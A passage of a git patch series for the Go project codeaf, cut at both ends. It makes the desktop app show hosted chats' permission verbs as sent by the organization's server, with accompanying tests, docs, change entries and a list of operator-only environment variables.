"steer", "answer"} + metadata := func(id, owner, access, role string, verbs ...string) map[string]any { + row := map[string]any{"id": id, "owner": owner, "access": access, "state": "suspended", + "created": "2026-11-24T00:00:00Z", "last_active": "2026-11-24T00:01:00Z", "verbs": verbsJSON(verbs...)} if role != "" { row["role"] = role } return row } - want := map[string]map[string]string{ - first: metadata(first, "santosh", "shared", "edit"), second: metadata(second, "santosh", "shared", "view"), - third: metadata(third, "mia", "shared", "view"), + want := map[string]map[string]any{ + first: metadata(first, "santosh", "shared", "edit", editVerbs...), second: metadata(second, "santosh", "shared", "view", "view"), + third: metadata(third, "mia", "shared", "view", "view"), } for _, row := range got.Shared { - if !reflect.DeepEqual(row, want[row["id"]]) { - t.Errorf("shared row = %+v, want %+v", row, want[row["id"]]) + id, _ := row["id"].(string) + if !reflect.DeepEqual(row, want[id]) { + t.Errorf("shared row = %+v, want %+v", row, want[id]) } - delete(want, row["id"]) + delete(want, id) } if len(want) != 0 { t.Errorf("shared rows missing: %+v", want) } got = read("owner") - if len(got.Sessions) != 0 || !reflect.DeepEqual(got.Shared, []map[string]string{metadata(operatorRow, "santosh", "operator", "")}) { + if len(got.Sessions) != 0 || !reflect.DeepEqual(got.Shared, []map[string]any{metadata(operatorRow, "santosh", "operator", "")}) { t.Fatalf("operator list = %+v", got) } - for _, tc := range []struct{ who, id, access, role string }{{"abir", first, "shared", "edit"}, {"owner", operatorRow, "operator", ""}} { - var meta map[string]string + for _, tc := range []struct { + who, id, access, role string + verbs []string + }{{"abir", first, "shared", "edit", editVerbs}, {"owner", operatorRow, "operator", "", nil}} { + var meta map[string]any before := rg.host.count() rg.do(t, tc.who, http.MethodGet, hostedSessionsPath+"/"+tc.id, -1, nil, http.StatusOK, &meta) - want := metadata(tc.id, "santosh", tc.access, tc.role) + want := metadata(tc.id, "santosh", tc.access, tc.role, tc.verbs...) want["created"], want["last_active"] = "", "" if !reflect.DeepEqual(meta, want) { t.Errorf("get as %s = %+v, want %+v", tc.who, meta, want) @@ -198,7 +217,7 @@ func TestP2_2_HostedListKeepsOwnRowsAndLimitsSharedMetadata(t *testing.T) { } got = read("owner") for _, row := range got.Shared { - if row["id"] == orgChat && reflect.DeepEqual(row, metadata(orgChat, "mia", "shared", "view")) { + if row["id"] == orgChat && reflect.DeepEqual(row, metadata(orgChat, "mia", "shared", "view", "view")) { return } } diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 0544730772..366b5d30cb 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -524,11 +524,15 @@ func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { } return } + answer := hostedWithID(data, id) if st != nil { item := h.resourceItem(row, factory.OrgWorkstream{}) h.publishAccessEvent(row.Resource, person, h.audienceOf(item)) + // The person who made the chat learns their verbs on it from this answer, as a list row + // tells them for every other chat, so no client has to work them out from a role table. + answer = append(hostedWithVerbs(answer, hostedVerbsOn(v, item)), '\n') } - hostedRelay(w, status, header, hostedWithID(data, id)) + hostedRelay(w, status, header, answer) } // hostedWithID adds the id to a created chat's answer when the chats' host diff --git a/internal/factory/serve/hosted_row_verbs_test.go b/internal/factory/serve/hosted_row_verbs_test.go new file mode 100644 index 0000000000..250925fb9f --- /dev/null +++ b/internal/factory/serve/hosted_row_verbs_test.go @@ -0,0 +1,199 @@ +package serve + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "reflect" + "slices" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory/acl" +) + +// hostedRowVerbs reads the verbs a list row carries, by chat, for one person. +func hostedRowVerbs(t *testing.T, rg *hostedRig, who string) map[string][]string { + t.Helper() + var listed struct { + Sessions []struct { + ID string + Verbs []string + } + Shared []struct { + ID string + Verbs []string + } + } + rg.do(t, who, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &listed) + out := map[string][]string{} + for _, row := range listed.Sessions { + out[row.ID] = row.Verbs + } + for _, row := range listed.Shared { + out[row.ID] = row.Verbs + } + return out +} + +// narrowedPolicy is a policy that differs from the default where it matters: the edit role +// cannot steer, and the owner's own role cannot run, steer or manage. +func narrowedPolicy(p *acl.Policy) { + without := func(role string, drop ...string) { + for i := range p.Roles { + if p.Roles[i].Name == role { + p.Roles[i].Verbs = slices.DeleteFunc(p.Roles[i].Verbs, func(v string) bool { return slices.Contains(drop, v) }) + } + } + } + without("edit", acl.VerbSteer) + without("full", acl.VerbRun, acl.VerbSteer, acl.VerbManage) +} + +// P2-2 +// Contract 1: every row of the list, the caller's own and shared, carries the verbs the caller +// holds on that chat under the policy as it stands when the list is read. +func TestHostedListRowsCarryTheAskersVerbsFromTheLivePolicy(t *testing.T) { + rg := newHostedRig(t) + mine := rg.create(t, "abir") + edited := rg.create(t, "santosh") + commented := rg.create(t, "santosh") + viewed := rg.create(t, "mia") + hostedGrant(t, rg, "santosh", edited, "abir", "edit") + hostedGrant(t, rg, "santosh", commented, "abir", "comment") + hostedGrant(t, rg, "mia", viewed, "abir", "view") + + want := map[string][]string{ + mine: acl.Verbs, + edited: {"view", "comment", "edit", "run", "steer", "answer"}, + commented: {"view", "comment"}, + viewed: {"view"}, + } + if got := hostedRowVerbs(t, rg, "abir"); !reflect.DeepEqual(got, want) { + t.Fatalf("default policy rows = %v, want %v", got, want) + } + + // The same server, with no restart, now answers from the policy an operator just saved. + rg.setAccessPolicy(t, narrowedPolicy) + want = map[string][]string{ + mine: {"view", "comment", "edit", "answer", "share"}, + edited: {"view", "comment", "edit", "run", "answer"}, + commented: {"view", "comment"}, + viewed: {"view"}, + } + if got := hostedRowVerbs(t, rg, "abir"); !reflect.DeepEqual(got, want) { + t.Fatalf("narrowed policy rows = %v, want %v", got, want) + } +} + +// P2-2 +// Contract 1: the answer that makes a chat carries its maker's verbs, so a window never has to +// guess them for the one chat it has just opened, and what it says is what the list says next. +func TestHostedCreateAnswerCarriesTheMakersVerbs(t *testing.T) { + rg := newHostedRig(t) + for _, tc := range []struct { + name string + policy func(*acl.Policy) + want []string + }{ + {"default policy", func(*acl.Policy) {}, acl.Verbs}, + {"owner role that cannot run, steer or manage", narrowedPolicy, []string{"view", "comment", "edit", "answer", "share"}}, + } { + t.Run(tc.name, func(t *testing.T) { + rg.setAccessPolicy(t, tc.policy) + var made struct { + ID string + Verbs []string + } + rg.do(t, "abir", http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) + if !reflect.DeepEqual(made.Verbs, tc.want) { + t.Fatalf("create answered verbs %v, want %v", made.Verbs, tc.want) + } + if listed := hostedRowVerbs(t, rg, "abir")[made.ID]; !reflect.DeepEqual(listed, tc.want) { + t.Fatalf("list row for the new chat has %v, want %v", listed, tc.want) + } + }) + } +} + +// P2-5 +// Contract 2 and 4: under a narrowed policy, each verb a row names is a call the guest's wire +// forwards and each verb it leaves out is a call the wire refuses in place. The row is display +// only: the wire decides exactly as it did before. +func TestHostedRowVerbsMatchWhatTheWireEnforces(t *testing.T) { + rg := newHostedRig(t) + mine := rg.create(t, "abir") + shared := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", shared, "abir", "edit") + rg.setAccessPolicy(t, narrowedPolicy) + rows := hostedRowVerbs(t, rg, "abir") + + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + refusal := map[string]string{acl.VerbRun: guestRunWords, acl.VerbSteer: guestSteerWords, acl.VerbAnswer: guestAnswerWords} + // A call is the method each verb gates on the wire. + calls := []struct{ method, verb string }{{"Submit", acl.VerbRun}, {"Steer", acl.VerbSteer}, {"ResolveQuestion", acl.VerbAnswer}} + for name, chat := range map[string]string{"shared at edit": shared, "own, with an owner role that cannot run": mine} { + client, host := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + for i, call := range calls { + guestWrite(t, client, guestCall(i+1, call.method)) + if slices.Contains(rows[chat], call.verb) { + if got := guestHostLine(t, host); got != guestCall(i+1, call.method) { + t.Errorf("%s: the row names %s but the wire forwarded %q", name, call.verb, got) + } + } else { + guestRefusal(t, client, i+1, refusal[call.verb]) + } + } + } + // The narrowing is real: neither chat lets all three through. + for _, chat := range []string{shared, mine} { + if slices.Contains(rows[chat], acl.VerbSteer) { + t.Errorf("row for %s still names steer: %v", chat, rows[chat]) + } + } +} + +// P2-2 +// Contract 1: a bot's rows hold what its person holds, narrowed by its scope, the way its wire does. +func TestHostedRowVerbsOfABotAreItsScope(t *testing.T) { + rg := newHostedRig(t) + viewBot := rg.contractBot(t, "abir", "View bot", "view") + var made struct { + ID string + Verbs []string + } + rg.botDo(t, viewBot.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) + if !reflect.DeepEqual(made.Verbs, []string{"view"}) { + t.Fatalf("a view bot's new chat answered verbs %v, want view only", made.Verbs) + } + shared := rg.create(t, "mia") + hostedGrant(t, rg, "mia", shared, "abir", "edit") + var listed struct { + Sessions, Shared []struct { + ID string + Verbs []string + } + } + rg.botDo(t, viewBot.Token, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &listed) + if len(listed.Sessions) != 1 || len(listed.Shared) != 1 || + !reflect.DeepEqual(listed.Sessions[0].Verbs, []string{"view"}) || !reflect.DeepEqual(listed.Shared[0].Verbs, []string{"view"}) { + t.Fatalf("a view bot's rows = %+v", listed) + } +} + +// Contract 4: the chats' host never decides a person's access, so a verbs field of its own on a row +// is replaced and every other field of the row is kept as it was. +func TestHostedWithVerbsReplacesTheHostsOwnField(t *testing.T) { + row := []byte(`{"id":"hs_x","state":"running","verbs":["manage"],"extra":{"n":1}}`) + var got map[string]json.RawMessage + if err := json.Unmarshal(hostedWithVerbs(row, []string{"view"}), &got); err != nil { + t.Fatal(err) + } + if string(got["verbs"]) != `["view"]` || string(got["id"]) != `"hs_x"` || string(got["state"]) != `"running"` || string(got["extra"]) != `{"n":1}` || len(got) != 4 { + t.Fatalf("row = %v", got) + } + if out := hostedWithVerbs([]byte(`not a row`), []string{"view"}); string(out) != `not a row` { + t.Fatalf("a body that is not a row was changed to %q", out) + } +} From c176fcb672e648f387e5829049735a02f77af753 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:01:43 -0500 Subject: [PATCH 097/176] org: the desktop engine shows the verbs the server sent, not its own role table The hosted door worked out a guest's verbs from the default policy's roles, gave an owner every verb, and read an unknown role as view. An organization whose policy differs from the default was therefore shown the wrong controls. The door now reads the verbs on each list row and on the answer that makes a chat; a row with none reads view only, which only hides controls because the server's wire refuses what the person does not hold. The client role table is removed, and the desk-facing HostedFacts.Verbs shape is unchanged. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/apphosted.go | 39 ++++++++----- cmd/codeaf/apphosted_test.go | 55 ++++++++++++++----- docs/design/app-v3/PROTOCOL.md | 6 +- internal/e2e/org_app_door_e2e_test.go | 5 +- .../chat/organization-hosted-sessions.md | 2 +- 5 files changed, 76 insertions(+), 31 deletions(-) diff --git a/cmd/codeaf/apphosted.go b/cmd/codeaf/apphosted.go index f577e28845..1051c58549 100644 --- a/cmd/codeaf/apphosted.go +++ b/cmd/codeaf/apphosted.go @@ -35,10 +35,11 @@ type appHostedRow struct { Owner string `json:"owner"` Role string `json:"role"` Access string `json:"access"` + // Verbs is what the server's policy lets this person do in the chat, as it stood when the + // list was read. The server is the only party that decides it. + Verbs []string `json:"verbs"` } -var appHostedRoles = acl.DefaultPolicy().Roles - func (o appHostedOpen) dial(ask appOpenAsk) (*appConn, error) { socket, err := o.door.open(context.Background(), o.ref.session) if err != nil { @@ -152,20 +153,30 @@ func (b *appBackend) hostedCredentialStillHeld(org string, door *orgDoor) error return nil } -func appHostedFacts(ref appHostedRef, row appHostedRow, own bool, door *orgDoor) *appwire.HostedFacts { - facts := &appwire.HostedFacts{Org: ref.org, Session: ref.session, Note: door.clean(row.Warning)} - if own { - facts.Verbs = slices.Clone(acl.Verbs) - return facts - } - facts.Owner, facts.Role = door.clean(row.Owner), door.clean(row.Role) - for _, role := range appHostedRoles { - if role.Name == row.Role { - facts.Verbs = slices.Clone(role.Verbs) - return facts +// appHostedVerbs keeps the verbs this program knows, in their fixed order, from what the server +// said a person may do. A server that said nothing (an older build, or a chat the list did not +// carry) leaves view only, and that is safe because it only hides controls: the server's wire +// refuses every call the person has no right to whatever this window shows, so a missing verb +// can cost a button and never lends a right. Nothing here works a verb out from a role name, +// because the organization's roles and policy are its own to change. +func appHostedVerbs(said []string) []string { + held := make([]string, 0, len(acl.Verbs)) + for _, verb := range acl.Verbs { + if slices.Contains(said, verb) { + held = append(held, verb) } } - facts.Verbs = []string{acl.VerbView} + if len(held) == 0 { + return []string{acl.VerbView} + } + return held +} + +func appHostedFacts(ref appHostedRef, row appHostedRow, own bool, door *orgDoor) *appwire.HostedFacts { + facts := &appwire.HostedFacts{Org: ref.org, Session: ref.session, Note: door.clean(row.Warning), Verbs: appHostedVerbs(row.Verbs)} + if !own { + facts.Owner, facts.Role = door.clean(row.Owner), door.clean(row.Role) + } return facts } diff --git a/cmd/codeaf/apphosted_test.go b/cmd/codeaf/apphosted_test.go index dee89c193f..385b122ca8 100644 --- a/cmd/codeaf/apphosted_test.go +++ b/cmd/codeaf/apphosted_test.go @@ -49,6 +49,7 @@ type hostedTestServer struct { status int refusal string guest string + made []string seen []string } @@ -56,12 +57,12 @@ func newHostedTestServer(t *testing.T) *hostedTestServer { t.Helper() f := &hostedTestServer{ bearer: rand.Text(), calls: make(chan remote.Frame, 64), closed: make(chan struct{}, 8), - session: orgID('a'), list: `{"sessions":[]}`, + session: orgID('a'), list: `{"sessions":[]}`, made: acl.Verbs, } f.server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { f.mu.Lock() f.seen = append(f.seen, r.Method+" "+r.URL.RequestURI()) - list, status, refusal, guest := f.list, f.status, f.refusal, f.guest + list, status, refusal, guest, made := f.list, f.status, f.refusal, f.guest, f.made f.mu.Unlock() if r.Header.Get("Authorization") != "Bearer "+f.bearer { t.Error("the organization did not receive its held sign-in in Authorization") @@ -87,7 +88,7 @@ func newHostedTestServer(t *testing.T) *hostedTestServer { switch r.URL.Path { case "/v1/hosted/sessions": if r.Method == http.MethodPost { - _ = json.NewEncoder(w).Encode(map[string]string{"id": f.session, "state": "running"}) + _ = json.NewEncoder(w).Encode(map[string]any{"id": f.session, "state": "running", "verbs": made}) } else { _, _ = io.WriteString(w, list) } @@ -258,6 +259,8 @@ func hostedTestNext[T any](t *testing.T, ch <-chan T) T { func TestAppHostedV1CreateOnOrganizationServer(t *testing.T) { hostedTestHome(t) f := newHostedTestServer(t) + // A policy whose owner role cannot steer: the chat just made shows what the server said. + f.made = []string{"view", "comment", "run", "answer"} w, _ := hostedTestBackend(t, f.server.URL, f.bearer) places := hostedTestPlaces(t) workspace := filepath.Join(t.TempDir(), "untouched") @@ -268,6 +271,9 @@ func TestAppHostedV1CreateOnOrganizationServer(t *testing.T) { if got.ID != f.session+"_"+hostedTestOrg || got.Hosted == nil || got.Hosted.Org != hostedTestOrg || got.Workspace != "" { t.Fatalf("hosted create = %+v, hosted = %+v", got.Agent, got.Hosted) } + if !slices.Equal(got.Hosted.Verbs, f.made) { + t.Fatalf("created chat verbs = %v, the server said %v", got.Hosted.Verbs, f.made) + } if !slices.Contains(w.hello, "agents.hosted") { t.Fatal("the app did not advertise hosted chats") } @@ -297,11 +303,11 @@ func TestAppHostedV2ListOnlyOwnAndShared(t *testing.T) { hostedTestHome(t) f := newHostedTestServer(t) f.list = `{"sessions":[ - {"id":"` + orgID('a') + `","state":"running","last_active":7}, + {"id":"` + orgID('a') + `","state":"running","last_active":7,"verbs":["view","comment","edit"]}, {"id":"` + orgID('b') + `","state":"stopped","created":6}, {"id":"bad","state":"running"} ],"shared":[ - {"id":"` + orgID('c') + `","state":"running","last_active":8,"access":"shared","role":"edit","owner":"noor"}, + {"id":"` + orgID('c') + `","state":"running","last_active":8,"access":"shared","role":"edit","owner":"noor","verbs":["view","run"]}, {"id":"` + orgID('d') + `","state":"running","last_active":9,"access":"operator"} ],"hosting":{"local_sessions":true}}` w, _ := hostedTestBackend(t, f.server.URL, f.bearer) @@ -315,20 +321,41 @@ func TestAppHostedV2ListOnlyOwnAndShared(t *testing.T) { t.Fatalf("row %d = %+v", i, got[i]) } } + // The verbs are the server's own words. This organization's policy gives its edit role run + // and not steer or answer, and holds back everything but three verbs from the owner, which + // the default roles would not have done. shared := got[0].Hosted - if shared.Owner != "noor" || shared.Role != "edit" || - !slices.Contains(shared.Verbs, "run") || !slices.Contains(shared.Verbs, "steer") || !slices.Contains(shared.Verbs, "answer") { + if shared.Owner != "noor" || shared.Role != "edit" || !slices.Equal(shared.Verbs, []string{"view", "run"}) { t.Fatalf("shared access = %+v", shared) } - if got[1].State != "idle" || got[2].State != "stopped" || !slices.Equal(got[1].Hosted.Verbs, acl.Verbs) { + if got[1].State != "idle" || got[2].State != "stopped" || !slices.Equal(got[1].Hosted.Verbs, []string{"view", "comment", "edit"}) { t.Fatalf("owner rows = %+v, %+v", got[1], got[2]) } + // A row with no verbs is view only, for another person's chat and for the person's own. + if !slices.Equal(got[2].Hosted.Verbs, []string{"view"}) { + t.Fatalf("own row with no verbs = %+v", got[2].Hosted) + } + for name, list := range map[string]string{ + "a role name the program has never heard of": `{"shared":[{"id":"` + orgID('c') + `","access":"shared","role":"new-role"}]}`, + "a familiar role name and no verbs": `{"shared":[{"id":"` + orgID('c') + `","access":"shared","role":"edit"}]}`, + "verbs that name nothing it knows": `{"shared":[{"id":"` + orgID('c') + `","access":"shared","verbs":["bogus"]}]}`, + "verbs empty": `{"sessions":[{"id":"` + orgID('c') + `","verbs":[]}]}`, + } { + f.mu.Lock() + f.list = list + f.mu.Unlock() + got = hostedTestCall[listed](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents + if len(got) != 1 || got[0].Hosted == nil || !slices.Equal(got[0].Hosted.Verbs, []string{"view"}) { + t.Fatalf("%s: rows = %+v", name, got) + } + } + // Verbs come back once each, in the fixed order, and only the ones the program knows. f.mu.Lock() - f.list = `{"shared":[{"id":"` + orgID('c') + `","access":"shared","role":"new-role"}]}` + f.list = `{"shared":[{"id":"` + orgID('c') + `","access":"shared","verbs":["steer","view","bogus","view","answer"]}]}` f.mu.Unlock() got = hostedTestCall[listed](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents - if len(got) != 1 || got[0].Hosted == nil || !slices.Equal(got[0].Hosted.Verbs, []string{"view"}) { - t.Fatalf("unknown role rows = %+v", got) + if len(got) != 1 || got[0].Hosted == nil || !slices.Equal(got[0].Hosted.Verbs, []string{"view", "steer", "answer"}) { + t.Fatalf("messy verbs rows = %+v", got) } f.mu.Lock() f.list = "" @@ -342,7 +369,9 @@ func TestAppHostedV2ListOnlyOwnAndShared(t *testing.T) { func TestAppHostedV3ReopenHistoryAndDetach(t *testing.T) { hostedTestHome(t) f := newHostedTestServer(t) - f.list = `{"sessions":[{"id":"` + f.session + `","state":"running"}]}` + // The server says its owner holds every verb here. Without that word the chat would read view only. + held, _ := json.Marshal(acl.Verbs) + f.list = `{"sessions":[{"id":"` + f.session + `","state":"running","verbs":` + string(held) + `}]}` w, _ := hostedTestBackend(t, f.server.URL, f.bearer) p := map[string]string{"id": f.session + "_" + hostedTestOrg} places := hostedTestPlaces(t) @@ -391,7 +420,7 @@ func TestAppHostedV5GuestVerbsAndExactRefusal(t *testing.T) { f := newHostedTestServer(t) const sentence = "You can read this chat but not send a message." f.guest = sentence - f.list = `{"shared":[{"id":"` + f.session + `","access":"shared","owner":"noor","role":"view"}]}` + f.list = `{"shared":[{"id":"` + f.session + `","access":"shared","owner":"noor","role":"view","verbs":["view"]}]}` w, out := hostedTestBackend(t, f.server.URL, f.bearer) p := map[string]string{"id": f.session + "_" + hostedTestOrg, "text": "A guest's message."} rows := hostedTestCall[appwire.AgentsResult](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 981e7eb258..5555555800 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -96,7 +96,11 @@ returns an empty `agents` array and `available: false`. The server's answer `signed_out` and transport failures answer `unreachable`. Hosted rows carry `hosted` facts and use a self-describing -`_` ID. `agents.open` attaches that session's wire and +`_` ID. `hosted.verbs` is what the organization's server +says the person may do in that chat, taken from the `verbs` of the server's +list row as it stood when the list was read; the app works nothing out from a +role name, and a row the server sent no verbs for reads `["view"]`. The +server's wire enforces the verbs whatever a window shows. `agents.open` attaches that session's wire and `agents.close` releases it. Use `agents.stop` to interrupt its current turn. `agents.list` stays scoped to chats on this computer. diff --git a/internal/e2e/org_app_door_e2e_test.go b/internal/e2e/org_app_door_e2e_test.go index 556a5178bf..fb7a7366ba 100644 --- a/internal/e2e/org_app_door_e2e_test.go +++ b/internal/e2e/org_app_door_e2e_test.go @@ -192,7 +192,8 @@ func newOrgAppServer(t *testing.T, bin, modelURL string) *orgAppServer { return } w.Header().Set("Content-Type", "application/json") - row := map[string]string{"id": orgAppSession, "state": "running"} + // The stand-in says what the organization's server says: its owner holds every verb. + row := map[string]any{"id": orgAppSession, "state": "running", "verbs": acl.Verbs} var result any switch request { case "GET /v1/about": @@ -200,7 +201,7 @@ func newOrgAppServer(t *testing.T, bin, modelURL string) *orgAppServer { case "GET /v1/me": result = map[string]any{"handle": "owner", "mode": "team", "factory": map[string]string{"name": "Hosted chat fixture"}} case "GET " + orgAppSessions: - sessions := []map[string]string{} + sessions := []map[string]any{} if created { sessions = append(sessions, row) } diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 155b60333b..7c3f3d06bd 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -10,7 +10,7 @@ It is off unless the organization's operator has turned it on. When it is off, t ## open, start or reopen a hosted chat in a desktop organization window -Sign in to the organization in the desktop app and open its window. The window offers new chat only when the organization has enabled hosted chats. Its chat list shows the chats you started and any chats the server says were shared with you. In a shared chat you can use the actions your role allows, such as reading the conversation or sending messages. Use a Personal window for chats on your computer. +Sign in to the organization in the desktop app and open its window. The window offers new chat only when the organization has enabled hosted chats. Its chat list shows the chats you started and any chats the server says were shared with you. In a shared chat you can use the actions the organization's server says you hold there, such as reading the conversation or sending messages. The window asks the server each time it lists the chats, so a change to the organization's permissions shows up on the next refresh, and a chat the server named no permissions for is shown as watch only. The server checks every action as you take it, whatever the window shows. Use a Personal window for chats on your computer. The organization chooses where each chat works on its server. The desktop app creates no conversation folder on your computer for that chat. Attachments are refused with `Attachments cannot go to a chat on yet.` From 0232c12566147e2cb6119f18cc9e7ceef339ec03 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:02:19 -0500 Subject: [PATCH 098/176] change entry: hosted chat controls follow the verbs the server sends Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2905-hosted-row-verbs.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2905-hosted-row-verbs.md diff --git a/docs/changes/unreleased/2905-hosted-row-verbs.md b/docs/changes/unreleased/2905-hosted-row-verbs.md new file mode 100644 index 0000000000..e0d6934564 --- /dev/null +++ b/docs/changes/unreleased/2905-hosted-row-verbs.md @@ -0,0 +1,15 @@ +--- +kind: changed +title: A hosted chat's controls follow the verbs the organization's server sends +pr: 2905 +surface: [app, factory, docs] +invalidates: + - "The desktop engine worked out a person's verbs on a hosted chat itself, from the default policy's role table: the owner of a chat held every verb, a guest held the verbs of the default bundle named by the row's role, and an unknown role held view. That was only right for an organization still on the default policy. Now the organization's server decides: every row of `GET /v1/hosted/sessions`, own and shared, and the answer that makes a chat carries `verbs`, the verbs the caller holds on that chat under the policy as it stands when the list is read, and the engine shows exactly those. The engine has no role table any more." + - "A hosted chat row from a server that sent no verbs was shown to its owner with every verb. Now a row with no verbs is shown as view only, for another person's chat and for the person's own. That only hides controls: the server's wire refuses what the person does not hold, and nothing on the client enforces anything." + - "The hosted list's rows said who owns a chat, the caller's role and the kind of access, and a client had to turn the role's name into verbs. Now each row says the verbs themselves, in the policy's order. An operator-only row holds none, and a bot's rows hold its person's verbs narrowed by its scope." +--- + +The wire's enforcement is unchanged: the server still decides on every call and re-reads the policy on every +heartbeat, and the desk reads the same `hosted.verbs` list as before. One known limit: an owner whose policy holds +`run` is attached by the byte-for-byte proxy, which has no verb table, so their row names what the policy gives them, +which can be fewer verbs than the wire would let through. That only ever hides a control. From dbc2966ab6ed59f6af71be3a7ba5ddf69e4d9181 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:39:06 -0500 Subject: [PATCH 099/176] config: register the hosted-chat environment as operator plumbing The org server, sessionhost and each hosted chat's engine read a dozen CODEAF_* variables an operator or a launcher sets. None were in OperatorEnvPins, so the full suite's environment registry test failed on org/main. They are deployment credentials, endpoints and launch plumbing, never a person's preference, so they are listed read-only. Co-Authored-By: Claude Opus 5.5 --- internal/config/settings.go | 45 +++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/internal/config/settings.go b/internal/config/settings.go index ec1d67be04..04251204dc 100644 --- a/internal/config/settings.go +++ b/internal/config/settings.go @@ -1032,6 +1032,51 @@ var ModelPoolChoices = []string{"on", "read", "off"} // planner internals. They are listed read-only in the sheet's environment // footer and never become editable rows. var OperatorEnvPins = []string{ + // The hosted-chat service an organization runs (internal/sessionhost) is + // configured by its operator at launch: where its chats keep their state, + // the uid range each chat is given, the shared secret the org server signs + // with, which outbound ports a chat may reach, how long an idle chat lives, + // and whether the machine may run chats on the user switch alone. Server + // plumbing an operator sets once in the deployment, never a person's + // preference. + "CODEAF_SESSIONHOST_CONNECT_PORTS", + "CODEAF_SESSIONHOST_DATA", + "CODEAF_SESSIONHOST_FORCE_PROBE", + "CODEAF_SESSIONHOST_IDLE", + "CODEAF_SESSIONHOST_REQUIRE", + "CODEAF_SESSIONHOST_SECRET", + "CODEAF_SESSIONHOST_UID_BASE", + "CODEAF_SESSIONHOST_UID_COUNT", + // The prefix internal/sessionhost/config.go joins each of those names to. + "CODEAF_SESSIONHOST_", + // What sessionhost hands each chat's engine when it launches it + // (internal/sessionhost/launcher_linux.go): how long the chat may sit idle, + // whether its fence is required, which outbound ports the fence leaves open, + // and where the org's git helper answers for which hosts. The launcher sets + // them; nobody chooses them. + "CODEAF_ENGINE_IDLE", + "CODEAF_FENCE_REQUIRE", + "CODEAF_FENCE_CONNECT_PORTS", + "CODEAF_HOSTED_GIT_URL", + "CODEAF_HOSTED_GIT_HOSTS", + // The org server's side of hosted chats (cmd/codeaf's factory_command.go and + // factory_hosted_model.go): where its sessionhost answers and the secret they + // share, the org's model door and the provider behind it with the org's key, + // the server key that seals each person's own keys, the per-chat spending + // cap, and how often a guest's access is decided again. Deployment + // credentials and endpoints an operator writes into the stack's + // environment, never a profile row. + "CODEAF_HOSTED_URL", + "CODEAF_HOSTED_SECRET", + "CODEAF_HOSTED_MODEL_URL", + "CODEAF_HOSTED_MODEL_UPSTREAM", + "CODEAF_HOSTED_MODEL_KEY", + "CODEAF_SERVER_KEY", + "CODEAF_HOSTED_SESSION_CAP_USD", + "CODEAF_HOSTED_HEARTBEAT", + // The sign-in `codeaf chat --org` uses when no saved one is at hand + // (cmd/codeaf/chatv3_org.go): a credential, so plumbing. + "CODEAF_ORG_TOKEN", // The factory page's developer switch. CODEAF_FACTORY_FIXTURE puts a still, // made-up floor on the page in place of the person's own. It is for the // people who build the page; a row offering to hide your real floor behind a From ee7001c4e53c677ce5cf9a57c5f43064c825b81d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:39:06 -0500 Subject: [PATCH 100/176] cellsync: the real-engine read test takes its home from storetest.EngineDir The guard in cellstore/celltest refuses a test that registers StopSpawned by hand. EngineDir registers it after the folder, so engines stop before their home is removed. Co-Authored-By: Claude Opus 5.5 --- internal/cellsync/read_real_test.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/internal/cellsync/read_real_test.go b/internal/cellsync/read_real_test.go index b46787372d..42e53fdaeb 100644 --- a/internal/cellsync/read_real_test.go +++ b/internal/cellsync/read_real_test.go @@ -13,6 +13,7 @@ import ( "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/cell/celltest" "github.com/Agent-Field/codeaf/internal/cellstore" + storetest "github.com/Agent-Field/codeaf/internal/cellstore/celltest" "github.com/Agent-Field/codeaf/internal/home" ) @@ -71,9 +72,9 @@ func TestReadARemoteChatRealEngine(t *testing.T) { for _, daemon := range []bool{false, true} { t.Run(map[bool]string{false: "spawn", true: "daemon"}[daemon], func(t *testing.T) { // The daemon's socket lives under the codeaf home: never the real one. - t.Setenv(home.EnvVar, t.TempDir()) + // EngineDir stops every spawned engine before its folder is removed. + t.Setenv(home.EnvVar, storetest.EngineDir(t)) t.Setenv("CODEAF_ENGINE_DAEMON", map[bool]string{false: "0", true: "1"}[daemon]) - t.Cleanup(cellstore.StopSpawned) readARemoteChat(t, bin, daemon) }) } From 4fed4da4c947fc27b9caa3f0e279f52637fdaf0a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 21:39:26 -0500 Subject: [PATCH 101/176] change entry: the full-suite reds on org/main Co-Authored-By: Claude Opus 5.5 --- docs/changes/unreleased/2907-org-fullsuite-reds.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 